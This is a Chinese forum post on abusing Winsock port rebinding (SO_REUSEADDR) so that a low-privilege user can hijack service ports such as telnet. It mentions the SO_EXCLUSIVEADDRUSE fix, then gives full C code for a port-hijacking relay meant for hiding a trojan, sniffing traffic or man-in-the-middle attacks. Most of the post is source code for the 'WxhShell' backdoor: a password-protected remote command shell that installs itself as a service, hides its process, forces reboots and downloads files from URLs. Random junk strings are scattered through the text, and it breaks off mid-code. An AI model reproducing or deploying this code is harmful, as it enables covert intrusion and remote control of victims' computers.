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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: } #%sI"9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -4X,x  
Sgr<z d'b  
  saddr.sin_family = AF_INET; &Vl,x/  
y ?Q"-o (  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +F 5Dc  
(<1DPpy95O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,j2qY'wi  
in B}ydk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KF7f<  
QmgwIz_  
  这意味着什么?意味着可以进行如下的攻击: z RsA[F#  
orTTjV]_m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -6)ywq^{z  
YM#XV*P0 q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xcoYo  
y )/d-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R?X9U.AcW  
0aGfz=V&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vy-{BH  
a9D 5qj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?u8+F  
.,EZ-&6{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &I d ^n  
t,MK#Ko  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i|=}zR  
Sw(%j1uL  
  #include V <k_Q@K  
  #include TTqOAo[-Z  
  #include E\'_`L  
  #include    xaS kn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PQf FpmG  
  int main() L@G)K  
  { q^12Rj;H  
  WORD wVersionRequested; tkJ/ h<  
  DWORD ret; :  l]>nF4  
  WSADATA wsaData; ?g<*1N?:  
  BOOL val; RRq*CLj  
  SOCKADDR_IN saddr; EB\z:n5  
  SOCKADDR_IN scaddr; WqTW@-}ID  
  int err; P.[>x  
  SOCKET s; {uckYx-A  
  SOCKET sc; -=g`7^qa>  
  int caddsize; HWe.|fH:  
  HANDLE mt; 6aK%s{%3s  
  DWORD tid;   |y=CmNG,  
  wVersionRequested = MAKEWORD( 2, 2 ); A.<X78!^  
  err = WSAStartup( wVersionRequested, &wsaData ); dQizM^j  
  if ( err != 0 ) { fM2[wh@  
  printf("error!WSAStartup failed!\n"); bfa5X<8  
  return -1; S - 7JDE>  
  } DJ<e=F!  
  saddr.sin_family = AF_INET; E}a3.6)p  
   `SIJszqc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AM Rj N;  
8q0f#/`v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I>P</TE7  
  saddr.sin_port = htons(23); &[3!Lk`.0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pu*st=KGB  
  { k $+&  
  printf("error!socket failed!\n"); huN(Q{fj  
  return -1; S>H W`   
  } {= z%( '^  
  val = TRUE; c85B-/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W]y$6P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) otPEJ^W&  
  { `|PxEif+J  
  printf("error!setsockopt failed!\n"); AJmS1 B  
  return -1; (/hF~A  
  } Q"Bgr&RJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M)b`~|Wt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ? th+~dE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &1Az`[zKGW  
OB"QWdh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2QBtwlQ?[  
  { m:"2I&0)WM  
  ret=GetLastError(); g@j:TQM_0  
  printf("error!bind failed!\n"); \64(`6>  
  return -1; Mz"kaO  
  } -<<!eH  
  listen(s,2); i!Ne<Q  
  while(1) \SMH",u  
  { h@Hmo^!9J  
  caddsize = sizeof(scaddr); C{>?~@z&5  
  //接受连接请求 TbX ZU$[c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %/>_o{"hw  
  if(sc!=INVALID_SOCKET) q#WqU8~Y  
  { JP@UvDE|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mKn[>M1  
  if(mt==NULL) 0,/[r/=jT  
  { | _S9U|  
  printf("Thread Creat Failed!\n"); b,K1EEJ  
  break; RF6|zCWuI  
  } Dxu )by  
  } K}$PIW  
  CloseHandle(mt); ev+N KUi=  
  } #Io#OG<7b  
  closesocket(s); ||_F /AD  
  WSACleanup(); ^Cak/5^K  
  return 0; LLU>c]a  
  }   d3 N %V.w  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9r)5d&,6  
  { rAQ^:q  
  SOCKET ss = (SOCKET)lpParam; $~9U-B\  
  SOCKET sc; ( NiuAy  
  unsigned char buf[4096]; oYqC"g&4Z  
  SOCKADDR_IN saddr; m<076O4|`  
  long num; hA~}6Qn  
  DWORD val; .t}nznh  
  DWORD ret; KztF#[64W^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lL83LhE}<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PB9<jj;  
  saddr.sin_family = AF_INET; WK<pZ *x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @yek6E&9  
  saddr.sin_port = htons(23); pYa<u,>pN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YE-kdzff  
  { 6!gGWn5>}  
  printf("error!socket failed!\n"); >! c^  
  return -1; |0 Zj/1<$  
  } +~[19'GH  
  val = 100; <4>6k7W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bRIb'%=+GA  
  { W>, b1_k c  
  ret = GetLastError(); }u|0  
  return -1; 1-b,X]i  
  } I]$kVa1iN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ep'C FNbtW  
  { xt-;7  
  ret = GetLastError(); B$lbp03z  
  return -1; w}2yi#E[  
  } \ oL+O|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =lffr?#&B  
  { c''!&;[!  
  printf("error!socket connect failed!\n"); D1Fc7! TV  
  closesocket(sc); !-7(.i-  
  closesocket(ss); [Q%3=pm_  
  return -1; {<|0M%v  
  } =!{dKz-&  
  while(1) -'I)2/%g  
  { !AMPA*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J5l:_hZUV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jwE<}y I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EM([N*8o  
  num = recv(ss,buf,4096,0); (d~'H{q  
  if(num>0) 8EP^M~rv  
  send(sc,buf,num,0); WFh!re%Z  
  else if(num==0) |e pe;/  
  break; 8p!PR^OM@  
  num = recv(sc,buf,4096,0); zPVA6~|l  
  if(num>0) N .SszZh  
  send(ss,buf,num,0); Nd( $s[  
  else if(num==0) 9PGSr4V 1  
  break; _PRm4 :  
  } $B(B  
  closesocket(ss); MW&;{m?2(  
  closesocket(sc); ;PbyR}s  
  return 0 ; \^YJs?  
  } swJwy~  
jbg@CA*=C  
6DExsB~@  
========================================================== eH6#'M4+\  
TRQva8d?  
下边附上一个代码,,WXhSHELL &9O-!  
\C>I6{  
========================================================== *D9QwQ _|  
3W27R  
#include "stdafx.h" aFbA=6  
MqNp*n2  
#include <stdio.h> i .'f<z$<  
#include <string.h> XBDlQe|>  
#include <windows.h> O c" 2|X  
#include <winsock2.h> ;1o"Oij  
#include <winsvc.h> E>7[ti_p5  
#include <urlmon.h> C f<,\Aav  
T{ojla(  
#pragma comment (lib, "Ws2_32.lib") ]6(NeS+  
#pragma comment (lib, "urlmon.lib") A\?O5#m:$  
Q#vur o  
#define MAX_USER   100 // 最大客户端连接数 |D<~a(0  
#define BUF_SOCK   200 // sock buffer ~xA' -N/  
#define KEY_BUFF   255 // 输入 buffer )! OEa]  
6 .*=1P*?  
#define REBOOT     0   // 重启 ty "k  
#define SHUTDOWN   1   // 关机 g~`UC  
PvO>}(=  
#define DEF_PORT   5000 // 监听端口 K.1#cf ^'  
pfZxG.l  
#define REG_LEN     16   // 注册表键长度 +p_SKk!%+  
#define SVC_LEN     80   // NT服务名长度 Q"\*JV5  
Iunt!L  
// 从dll定义API 7?F0~[eGG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W>h[aVTO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6r^(VT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =b6Q2s,i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \.}* s]6  
5Rc 5/m  
// wxhshell配置信息 *}LYMrP  
struct WSCFG { yA6"8fr  
  int ws_port;         // 监听端口 K 0b(D8!  
  char ws_passstr[REG_LEN]; // 口令 2N>:GwN  
  int ws_autoins;       // 安装标记, 1=yes 0=no !$fBo3!B_8  
  char ws_regname[REG_LEN]; // 注册表键名 ?z?IEj}  
  char ws_svcname[REG_LEN]; // 服务名 OI1&Z4Lx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t\'URpa+5%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z m_mLk$4H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Dd :Qotu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $n>.;CV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2#p6.4h=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rq+E"Uj?  
)x8Izn  
}; P1)9OE  
S_1R]n1/  
// default Wxhshell configuration l'mgjv~  
struct WSCFG wscfg={DEF_PORT, #W* 5=Cf  
    "xuhuanlingzhe", A LKU  
    1, mKn:EqA  
    "Wxhshell", yn`H}@`k  
    "Wxhshell", @ VVBl I  
            "WxhShell Service", v=@Z,-  
    "Wrsky Windows CmdShell Service", \V}?K0#bt  
    "Please Input Your Password: ", Z^s&]  
  1, mpN|U(n  
  "http://www.wrsky.com/wxhshell.exe", ;CFI*Wfp  
  "Wxhshell.exe" >P/.X^G0  
    }; IhY[c/ |i  
LzP+l>m  
// 消息定义模块 P>Pw;[b>O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^!?W!k!:V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F"~uu9u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "Q-TLN5(  
char *msg_ws_ext="\n\rExit."; c]#F^(-A`  
char *msg_ws_end="\n\rQuit."; ub7|'+5  
char *msg_ws_boot="\n\rReboot..."; /+iU1m'(  
char *msg_ws_poff="\n\rShutdown..."; Uz[#t1*  
char *msg_ws_down="\n\rSave to "; ?%#3p[  
[gx6e 44  
char *msg_ws_err="\n\rErr!"; wxN'Lv=R  
char *msg_ws_ok="\n\rOK!"; t4~Bn<=  
P^T]Ubv"  
char ExeFile[MAX_PATH]; -n+ =[M  
int nUser = 0; eG=Hyc  
HANDLE handles[MAX_USER]; E2+O-;VN  
int OsIsNt; gT?:zd=;  
X\V1c$13CK  
SERVICE_STATUS       serviceStatus; L >Y%$|4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~*ST fyFw  
_e7 Y R+  
// 函数声明 [y&yy|*\  
int Install(void); aF]4%E  
int Uninstall(void); #J# x,BLI  
int DownloadFile(char *sURL, SOCKET wsh); /X9Kg  
int Boot(int flag); Me_.X_  
void HideProc(void); OXT 5 y)   
int GetOsVer(void); T2Ms/1FH/@  
int Wxhshell(SOCKET wsl); Z vM~]8m  
void TalkWithClient(void *cs);  MV'q_{J  
int CmdShell(SOCKET sock); h3[^uY e  
int StartFromService(void); f#FAi3  
int StartWxhshell(LPSTR lpCmdLine); n&y'Mb PB  
>kU$bh.(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $oDc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?:H4Xd7  
e5W 8YNA  
// 数据结构和表定义 W+k SL{0  
SERVICE_TABLE_ENTRY DispatchTable[] = #R-l2OO^]  
{ A]c'`Nf  
{wscfg.ws_svcname, NTServiceMain}, @FO= 0_;y  
{NULL, NULL} )O;6S$z9Y  
};  vtk0 j  
/m"O.17N  
// 自我安装 `bY>f_5+  
int Install(void) Utd`T+AF*  
{ r01Z 0>  
  char svExeFile[MAX_PATH]; !Z]#1"A8  
  HKEY key; lkl+o&D9  
  strcpy(svExeFile,ExeFile); td@I ;d2  
`n)e] dn  
// 如果是win9x系统,修改注册表设为自启动 d< j+a1&  
if(!OsIsNt) { }Vjg>"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @{n"/6t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @komb IK  
  RegCloseKey(key); __LR!F]=i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0wQ'~8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +&bJhX  
  RegCloseKey(key); m~c6b{F3Z-  
  return 0; VC~1QPC9  
    } }w&W\g+E$  
  } w=JO$7  
} icS% ])3LF  
else { @$mh0K>  
w>S;}[fM  
// 如果是NT以上系统,安装为系统服务 UZvF5Hoe+O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vJI]ZnL{  
if (schSCManager!=0) 2 zE gAc  
{  %JoHc?  
  SC_HANDLE schService = CreateService O2N7qV3 U,  
  ( (`'(`x#  
  schSCManager, FWC\(f  
  wscfg.ws_svcname, n4Xh}KtH  
  wscfg.ws_svcdisp, $y{rM%6JU  
  SERVICE_ALL_ACCESS, =^ZDP1h/}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IE]? WW5  
  SERVICE_AUTO_START, <<WqL?8W  
  SERVICE_ERROR_NORMAL, ^-nL!>FYY  
  svExeFile, c`,'[Q5(O  
  NULL, 7C / ^ Gw  
  NULL, yrvV<}  
  NULL, AcHr X=O  
  NULL, aoqG*qh}b  
  NULL [Z]%jABR  
  ); \0 j-p   
  if (schService!=0) 2 Sgv  
  { Oz{FM6  
  CloseServiceHandle(schService); Z; 6N7U  
  CloseServiceHandle(schSCManager); d%,@,>>)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uE &/:+  
  strcat(svExeFile,wscfg.ws_svcname); Y' FB {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7H])2:)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "50 c<sZSB  
  RegCloseKey(key); z"%{SI^  
  return 0; zu_bno!  
    } _9f7@@b  
  } yOTC>?p%  
  CloseServiceHandle(schSCManager); D/)E[Fv+  
} E[NszM[P  
} *q-VY[2  
4$oDq  
return 1; n:"0mWnL$y  
} PRal>s&f  
L/ g8@G ;  
// 自我卸载 zFi)R }Ot  
int Uninstall(void) ;:  xE'-  
{ %`bn=~T^  
  HKEY key; +v+Dkyf:V  
y$8S+N?>  
if(!OsIsNt) { GLp~SeF#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w ,*#z  
  RegDeleteValue(key,wscfg.ws_regname); &|fPskpy  
  RegCloseKey(key); XwZR Kh\>=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,K15KN.'  
  RegDeleteValue(key,wscfg.ws_regname); RF[Uy?es  
  RegCloseKey(key); s5\<D7  
  return 0; sK@]|9ciQ  
  } dv cLZK  
} 50e vWD  
} uCHM  
else { %bp'`B=  
^U9b)KA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SuA  @S  
if (schSCManager!=0) cO8yu`4!e  
{ B7.<A#y2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7Hg;SK6t0  
  if (schService!=0) : #OaE,  
  { 9 K>~9Za  
  if(DeleteService(schService)!=0) { ,7Dm p7  
  CloseServiceHandle(schService); Q k2*=BVh  
  CloseServiceHandle(schSCManager); nx Jx8d"  
  return 0; f5z*AeI  
  } 2)Q%lEm`SP  
  CloseServiceHandle(schService); KBDNK_7A  
  } &})Zqc3Lqk  
  CloseServiceHandle(schSCManager); l0PXU)>C  
} ,&iEn}xG7i  
} /b]+RXvxj  
#y8Esik  
return 1; |JiN; O+K  
} j9/hZqo  
kl|m @Nxp  
// 从指定url下载文件 8/@*6J  
int DownloadFile(char *sURL, SOCKET wsh) uHuL9Q^  
{ oXQI"?^+  
  HRESULT hr; l!<(}?u9  
char seps[]= "/"; RF [81/w]  
char *token; [dy0aR$>d  
char *file; G;e)K\[J  
char myURL[MAX_PATH]; HggINMG  
char myFILE[MAX_PATH]; \0;EHB  
S;SI#Vg@  
strcpy(myURL,sURL); !KtP> `8  
  token=strtok(myURL,seps); /~{ fPS  
  while(token!=NULL) :j[=   
  { Bxf&gDwjgr  
    file=token; IN@ =UAc&  
  token=strtok(NULL,seps); \;Sl5*kr  
  } w&Z.rB?  
fskc'%x  
GetCurrentDirectory(MAX_PATH,myFILE); nj#kzD[n>  
strcat(myFILE, "\\"); 7yal  T.  
strcat(myFILE, file);  [33=+C a  
  send(wsh,myFILE,strlen(myFILE),0); o,qUf  
send(wsh,"...",3,0); K8uqLSP '  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6RfS_  
  if(hr==S_OK) MFz6y":~  
return 0;  Cy5M0{  
else b2^O$ l  
return 1; c3)6{  
}-@h H(  
} $e%m=@ga  
RijFN.s  
// 系统电源模块 R=C+]  
int Boot(int flag) "d*-k R  
{ =.IAd< C  
  HANDLE hToken; )%q )!x  
  TOKEN_PRIVILEGES tkp; {3BWT  
.X"\ Mg  
  if(OsIsNt) { ^@$T>SB1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |H%,>r`9S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VO<P9g$UD  
    tkp.PrivilegeCount = 1; ~Efi|A/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C}71SlN'M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); % O*)'ni  
if(flag==REBOOT) { Me-H'Mp~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xgIb4Y%  
  return 0; eMjW^-RgE5  
} )gG_K$08?  
else { W"g@*B'|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'kekJ.wJ;  
  return 0; 8*sP  
} Sr-!-eC  
  } h@{CMe  
  else { [a k[ZXC,  
if(flag==REBOOT) { mpzm6I eu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `8D'r|=`Eh  
  return 0; +2m\Sv V  
} fK4NmdTV  
else { \O\veB8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R}$A>)%dx  
  return 0; ~g&Gi)je  
} A[Vhy;xz  
} 3 Ol`i$  
9j1 tcT  
return 1; t.] e8=dE  
} dLw,dg  
(oB9$Zz!t  
// win9x进程隐藏模块 nn/_>%Y  
void HideProc(void) <a=k"'0  
{ ig?Tj4kD  
okD7!)cr=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G=>LW1E|  
  if ( hKernel != NULL ) #po}Y  
  { 0GnbE2&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BoXGoFn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jek)`D  
    FreeLibrary(hKernel); ^qPS&G  
  } Ok_)C+o  
#zKF/H|_R  
return; -;U3$[T,J7  
} XD|vB+j\O  
i)+2? <]  
// 获取操作系统版本 )-d &XN7  
int GetOsVer(void) B#(2,j7M  
{ mYqRN1%  
  OSVERSIONINFO winfo; qjd8Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }P"JP[#E\  
  GetVersionEx(&winfo); df!n.&\y!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X" ;ly0Mb  
  return 1; 44_CT?t<  
  else .p(~/MnO  
  return 0; =j!Ruy1  
} .{LJ  
LxxFosi8  
// 客户端句柄模块 Fd@:*ER  
int Wxhshell(SOCKET wsl) Ov9kD0S  
{ D[R<H((  
  SOCKET wsh; xnG,1doa  
  struct sockaddr_in client; 3}X;WE `  
  DWORD myID; |%-:qk4rG  
oj~0zJI  
  while(nUser<MAX_USER) Y7 `i~K;  
{ 9oJ=:E~CP  
  int nSize=sizeof(client); U/bQ(,3}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _sp/RU,J-3  
  if(wsh==INVALID_SOCKET) return 1; s1NRUV2E  
:1\QM'O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =H2.1 :'  
if(handles[nUser]==0) EcW$'>^  
  closesocket(wsh); XxEKv=_bc  
else LVp*YOq7  
  nUser++; ]Vgl  
  } 7nL3+Pq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5\$8"/H  
p;m2RHYF  
  return 0; }w8:`g'T0/  
} 1A b=1g{  
edD"jq)J  
// 关闭 socket VC@{cVT  
void CloseIt(SOCKET wsh) @AU<'?k  
{ #v`J]I)$  
closesocket(wsh); 5KFd/9  
nUser--; =e$6o2!'}  
ExitThread(0); eb>YvC  
} v(2|n}qY  
|,Xrt8O/[  
// 客户端请求句柄 _o-D},f*e  
void TalkWithClient(void *cs) _oJq32  
{ L(i*v5?  
TGe{NUO  
  SOCKET wsh=(SOCKET)cs; {JlW1;Jc7  
  char pwd[SVC_LEN]; G(XI TL u*  
  char cmd[KEY_BUFF]; *k#M;e  
char chr[1]; =+j>?Yi  
int i,j; *PjW,   
Q1?G7g]N  
  while (nUser < MAX_USER) { 9@."Y>1G  
+aWI"d--h  
if(wscfg.ws_passstr) { uk~4R@=&H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;/8oP ;X2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $}G03G@  
  //ZeroMemory(pwd,KEY_BUFF); }{Ncww!iN  
      i=0; +\a`:QET  
  while(i<SVC_LEN) { Y|iJO>_Uu=  
DdL0MGwX  
  // 设置超时 BI,j/SRK  
  fd_set FdRead; ~rX2oLw{&  
  struct timeval TimeOut; 4^0L2BVcv  
  FD_ZERO(&FdRead); G.} 3hd0  
  FD_SET(wsh,&FdRead); er?'o1M  
  TimeOut.tv_sec=8; d8? }69:h  
  TimeOut.tv_usec=0; 1wpeYn7>W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); duKR;5:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YkKq}DXj  
<([1(SY2e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .iB?:  
  pwd=chr[0]; 'e4  ;,m  
  if(chr[0]==0xd || chr[0]==0xa) { RqIic\aD  
  pwd=0; /f7Fv*z/  
  break; .Qp5wCkM  
  } %:eep G|  
  i++; |*im$[g=-  
    } e'c~;Z\A  
Q4_+3-g<7L  
  // 如果是非法用户,关闭 socket OwwlQp ~!J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ YKBxt  
} 6uYCU|JsU  
z Lw=*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VR/>V7*7@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J['paHSF  
+ (cTzY  
while(1) { -VESe}c:nQ  
mk;l;!*T8  
  ZeroMemory(cmd,KEY_BUFF); zhDmZ  
hY.zwotH  
      // 自动支持客户端 telnet标准   |-hzvuSX  
  j=0; #KonVM(`  
  while(j<KEY_BUFF) { f.`noZN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -O2ZrJ!q  
  cmd[j]=chr[0]; O7shY4Sr  
  if(chr[0]==0xa || chr[0]==0xd) { T3o}%wGW  
  cmd[j]=0; 'Dq!o[2y  
  break; 7B$iM,}.b  
  }  ?6!7fs,  
  j++; .pgTp X   
    } )jK"\'cK  
38dXfl  
  // 下载文件 ?#^_yd|<  
  if(strstr(cmd,"http://")) { h'x|yy]@3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1FS Jqad  
  if(DownloadFile(cmd,wsh)) \k1psqw^O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J(0.eD91v  
  else h$p]#]uMb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H[guJ)4#@  
  } i6zfr|`@  
  else { e`#c[lbAAM  
?L$ Dk5-W  
    switch(cmd[0]) { f~u]fpkz  
  4}{HRs?  
  // 帮助 )DsC:cP  
  case '?': { J'O</o@e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z@=1-l  
    break; wj/\ !V!  
  } (z0S5#g ,x  
  // 安装 o[Yxh%T  
  case 'i': { Da!A1|"  
    if(Install()) <LDVO'I0 !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gRuNC=sR  
    else A e&t#,)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [0D( PV(n  
    break; pq6}q($Rk  
    } [Z484dS`_  
  // 卸载 s#ijpc>h  
  case 'r': { 9cAb\5c|  
    if(Uninstall()) , e{kC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~(+#a  
    else N %-Cp)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r>S?,qr  
    break; K vC`6  
    } A('=P}I^  
  // 显示 wxhshell 所在路径 ?yF)tF+<  
  case 'p': { wAxXK94#3  
    char svExeFile[MAX_PATH]; D;It0"  
    strcpy(svExeFile,"\n\r"); -cCujDM#T  
      strcat(svExeFile,ExeFile); | eIN<RY5  
        send(wsh,svExeFile,strlen(svExeFile),0); R74kt36M  
    break; 1@C0c%  
    } I|JMkP  
  // 重启 zg&<HJO  
  case 'b': { _|xO4{X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "P=OpFV  
    if(Boot(REBOOT)) sTO*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lc6Wj'G G  
    else { xR2E? 0T  
    closesocket(wsh); a&~d,vC  
    ExitThread(0); Y25S:XHk9  
    } p5c^dC{   
    break; @@7<L  
    } TmG$Cjf84  
  // 关机 ua*k{0[  
  case 'd': { AoL4#.r3H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o&1ewE(O]  
